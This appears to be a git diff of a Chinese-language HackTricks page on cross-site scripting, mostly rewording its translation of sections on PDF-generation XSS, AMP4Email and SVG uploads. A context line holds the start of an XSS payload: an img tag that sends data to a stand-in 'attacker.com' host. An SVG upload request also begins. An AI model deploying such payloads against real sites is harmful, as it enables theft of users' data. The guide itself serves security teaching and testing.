在上述示例中,`window.postMessage` 用于发送消息,`window.addEventListener` 用于接收消息。通过验证消息的来源,可以确保只接收来自可信网站的消息。
|
||||
```markup
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
|
@ -1731,7 +1741,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### 动态创建PDF中的XSS
|
||||
|
||||
如果一个网页使用用户控制的输入来创建PDF,您可以尝试欺骗创建PDF的机器人执行任意的JS代码。\
|
||||
如果一个网页使用用户控制的输入来创建PDF,您可以尝试欺骗创建PDF的机器人来执行任意的JS代码。\
|
||||
因此,如果**PDF创建机器人发现**某种**HTML** **标签**,它将对其进行**解释**,您可以**滥用**这种行为来引发**服务器XSS**。
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -1746,15 +1756,15 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### Amp4Email中的XSS
|
||||
|
||||
AMP是一种技术,用于在移动客户端上开发超快速的网页。**AMP是由JavaScript支持的一组HTML标签**,它可以轻松地实现功能,并且更加注重性能和安全性。有关AMP组件的详细信息,请参见[AMP组件](https://amp.dev/documentation/components/?format=websites),其中包括从旋转木马到响应式表单元素再到从远程端点检索新内容的一切。
|
||||
AMP是一种技术,用于在移动客户端上开发超快速的网页。**AMP是由JavaScript支持的一组HTML标签**,它可以轻松地实现功能,并且更加注重性能和安全性。有关一切的[AMP组件](https://amp.dev/documentation/components/?format=websites),从旋转木马到响应式表单元素,再到从远程端点检索新鲜内容。
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)格式提供了[一组AMP组件的子集](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md),您可以在电子邮件中使用这些组件。接收AMP电子邮件的收件人可以直接在电子邮件中查看和与AMP组件交互。
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)格式提供了[AMP组件的子集](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md),您可以在电子邮件中使用它们。接收AMP电子邮件的收件人可以直接在电子邮件中查看和与AMP组件交互。
|
||||
|
||||
示例:[**在Gmail中的Amp4Email中的XSS漏洞**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||
|
||||
### XSS上传文件(svg)
|
||||
|
||||
将以下文件(来自[http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/))作为图像上传:
|
||||
将以下文件(来自[http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/))上传为图像:
|
||||
```markup
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
|
@ -1840,8 +1850,8 @@ id="foo"/>
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
|
|
Loading…
Reference in a new issue